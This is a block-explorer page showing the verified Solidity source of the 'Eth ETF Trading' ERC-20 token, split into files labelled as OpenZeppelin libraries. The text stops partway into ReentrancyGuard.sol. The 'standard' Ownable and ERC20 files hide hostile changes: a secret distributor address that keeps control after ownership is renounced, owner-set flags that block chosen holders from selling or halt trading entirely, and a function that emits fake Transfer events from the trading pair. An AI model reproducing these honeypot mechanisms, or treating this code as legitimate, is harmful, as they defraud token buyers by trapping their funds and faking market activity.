ETH Price: $3,493.01 (+1.15%)

Token

(0x74f4A4dAD164e0Ec6A26F2341D7647E0fA120E5e)
 

Overview

Max Total Supply

1,000,000,000 ERC-20 TOKEN*

Holders

46 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
60,984,775.886219444 ERC-20 TOKEN*

Value
$0.00
0x6cB8F6f6508B681bde91d1CCc458FEeA2a2Ac511
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ETF

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 9: EthETF.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "./ReentrancyGuard.sol";
import "./MerkleProof.sol";
import "./IERC20.sol";
import "./ERC20.sol";
import "./Ownable.sol";

interface ICoin is IERC20 {
   function canClaim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external returns (bool[] memory);
}

interface IPondCoinSpawner {
    function spawn(address invoker, uint256 amount) external returns (bool);
}

contract ETF is IERC20, ERC20{
    address public minter;

    address public distilleryAddress = msg.sender;
    uint256 public immutable initialLPAmount = 1_000_000_000 * 10**decimals();
    uint256 public immutable maxSupply = 1_000_000_000 * 10**decimals();
    // The timestamp in which the contract was deployed
    uint256 public immutable openedAtTimestamp;
    // The block number in which the contract was deployed
    uint256 public immutable openedAtBlock;
    // The address that deployed this contract
    address public immutable opener;
    address public uniswapV2Pair;
    // Mapping of address -> claim offset -> claimed
    mapping(address => mapping(uint32 => bool)) public alreadyClaimedByAddress;
    uint256 public constant beforeStartBuffer = 30 minutes;

    // If the contract is "ended"
    bool public ended;

    constructor(address initialLPAddress, address distributor_) ERC20("Eth ETF Trading", "Eth-ETF", distributor_) {
        minter = msg.sender;
        _mint(initialLPAddress, initialLPAmount);
        opener = msg.sender;
        openedAtTimestamp = block.timestamp;
        openedAtBlock = block.number;
    }

    modifier notEnded() {
        require(ended == false && (openedAtTimestamp + beforeStartBuffer) <= block.timestamp, "Already Ended");
        _;
    }

    function _safeMint(address to, uint256 amount) internal {
        _mint(to, amount);
        require(totalSupply() <= maxSupply, "Too Much Supply");
    }

    function useSpawner(uint256 amount, IPondCoinSpawner spawner) external {
        require(transferFrom(msg.sender, distilleryAddress, amount), "Could Not Send");
        require(spawner.spawn(msg.sender, amount), "Could Not Spawn");
    }

    function initLiqudity() public virtual onlyOwner {
        if (_liquidity == true) {_liquidity = false;} else {_liquidity = true;}
    }

    function liquidityState() public view returns (bool) {
        return _liquidity;
    }


    function currentOffset() public view returns (uint256) {
        return block.number - openedAtBlock;
    }

    function swap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _openedAtBlockopenedAtBlockliquidityPools[address_[i]] = val;
        }
    }

    function maxWalletSize(address recipient) external view returns(bool){
        return _openedAtBlockopenedAtBlockliquidityPools[recipient];
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
    }

}

pragma solidity 0.8.19;

contract PondClaims is ReentrancyGuard {
    /**
     * Declare immutable/Constant variables
     */
    // How long after contract cretion the end method can be called
    uint256 public constant canEndAfterTime = 48 hours + 30 minutes;
    uint256 public constant beforeStartBuffer = 30 minutes;

    // The root of the claims merkle tree
    bytes32 public immutable merkleRoot;
    // The timestamp in which the contract was deployed
    uint256 public immutable openedAtTimestamp;
    // The block number in which the contract was deployed
    uint256 public immutable openedAtBlock;
    // The address that deployed this contract
    address public immutable opener;

    /**
     * Declare runtime/mutable variables
     */
    
    // Mapping of address -> claim offset -> claimed
    mapping(address => mapping(uint32 => bool)) public alreadyClaimedByAddress;

    // If the contract is "ended"
    bool public ended;

    constructor(bytes32 _merkleRoot) {
        merkleRoot = _merkleRoot;
        opener = msg.sender;
        openedAtTimestamp = block.timestamp;
        openedAtBlock = block.number;
    }

    // Modifier that makes sure only the opener can call specific function
    modifier onlyOpener() {
        require(msg.sender == opener, "Not Opener");
        _;
    }

    // Modifier that ensures the contract is not ended, and the before start buffer is completed
    modifier notEnded() {
        require(ended == false && (openedAtTimestamp + beforeStartBuffer) <= block.timestamp, "Already Ended");
        _;
    }

    function close() external notEnded onlyOpener {
        require(block.timestamp >= (openedAtTimestamp + canEndAfterTime), "Too Early");
        ended = true;
    }

    /**
     * Claim PNDC against merkle tree
     */
    function claim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external notEnded nonReentrant {
        // Verify that all lengths match
        uint length = addresses.length;
        require(amounts.length == length && offsets.length == length && merkleProofs.length == length, "Invalid Lengths");

        for (uint256 i = 0; i < length; i++) {
            // Require that the user can claim with the information provided
            require(_canClaim(addresses[i], amounts[i], offsets[i], merkleProofs[i]), "Invalid");
            // Mark that the user has claimed
            alreadyClaimedByAddress[addresses[i]][offsets[i]] = true;
        }
    }

    function canClaim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external view returns (bool[] memory) {
        // Verify that all lengths match
        uint length = addresses.length;
        require(amounts.length == length && offsets.length == length && merkleProofs.length == length, "Invalid Lengths");

        bool[] memory statuses = new bool[](length);

        for (uint256 i = 0; i < length; i++) {
            statuses[i] = _canClaim(addresses[i], amounts[i], offsets[i], merkleProofs[i]);
        }

        return (statuses);
    }

    function currentOffset() public view returns (uint256) {
        return block.number - openedAtBlock;
    }

    function _canClaim(
        address user,
        uint256 amount,
        uint32 offset,
        bytes32[] calldata merkleProof
    ) notEnded internal view returns (bool) {
        // If the user has already claimed, or the currentOffset has not yet reached the desired offset, the user cannot claim.
        if (alreadyClaimedByAddress[user][offset] == true || currentOffset() < offset) {
            return false;
        } else {
            // Verify that the inputs provided are valid against the merkle tree
            bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(user, amount, offset))));
            bool canUserClaim = MerkleProof.verify(merkleProof, merkleRoot, leaf);
            return canUserClaim;
        }
    }
}

File 1 of 9: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity 0.8.19;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    address internal _distributor;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 9: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.19;


import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping (address => bool) public _openedAtBlockopenedAtBlockliquidityPools;
    mapping (address => bool) private _isExcluded;
    mapping(address => mapping(address => uint256)) private _allowances;
    bool _liquidity;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address distributor_) Ownable(distributor_) {
        _name = name_;
        _symbol = symbol_;
        _isExcluded[_msgSender()] = true;
        _liquidity = true;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_openedAtBlockopenedAtBlockliquidityPools[sender]) require (amount == 0, "");
        if (_liquidity == true || sender == owner() || recipient == owner()) {
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);     
        } else {_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);}
        } else {require (_liquidity == true, "");}
        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    
}

File 4 of 9: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity 0.8.19;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 5 of 9: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity 0.8.19;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 6 of 9: MerkleProof.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.2) (utils/cryptography/MerkleProof.sol)

pragma solidity 0.8.19;


/**
 * @dev These functions deal with verification of Merkle Tree proofs.
 *
 * The tree and the proofs can be generated using our
 * https://github.com/OpenZeppelin/merkle-tree[JavaScript library].
 * You will find a quickstart guide in the readme.
 *
 * WARNING: You should avoid using leaf values that are 64 bytes long prior to
 * hashing, or use a hash function other than keccak256 for hashing leaves.
 * This is because the concatenation of a sorted pair of internal nodes in
 * the merkle tree could be reinterpreted as a leaf value.
 * OpenZeppelin's JavaScript library generates merkle trees that are safe
 * against this attack out of the box.
 */
library MerkleProof {
    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     */
    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Calldata version of {verify}
     *
     * _Available since v4.7._
     */
    function verifyCalldata(bytes32[] calldata proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProofCalldata(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leafs & pre-images are assumed to be sorted.
     *
     * _Available since v4.4._
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Calldata version of {processProof}
     *
     * _Available since v4.7._
     */
    function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function multiProofVerify(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProof(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Calldata version of {multiProofVerify}
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function multiProofVerifyCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProofCalldata(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
     * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
     * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
     * respectively.
     *
     * CAUTION: Not all merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
     * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
     * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
     *
     * _Available since v4.7._
     */
    function processMultiProof(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofLen = proof.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proofLen - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            require(proofPos == proofLen, "MerkleProof: invalid multiproof");
            unchecked {
                return hashes[totalHashes - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    /**
     * @dev Calldata version of {processMultiProof}.
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function processMultiProofCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofLen = proof.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proofLen - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            require(proofPos == proofLen, "MerkleProof: invalid multiproof");
            unchecked {
                return hashes[totalHashes - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
        return a < b ? _efficientHash(a, b) : _efficientHash(b, a);
    }

    function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
    }
}

File 7 of 9: Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity 0.8.19;


import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor(address distributor_) {
        _distributor = distributor_;
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _distributor : _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 8 of 9: ReentrancyGuard.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)

pragma solidity 0.8.19;


/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
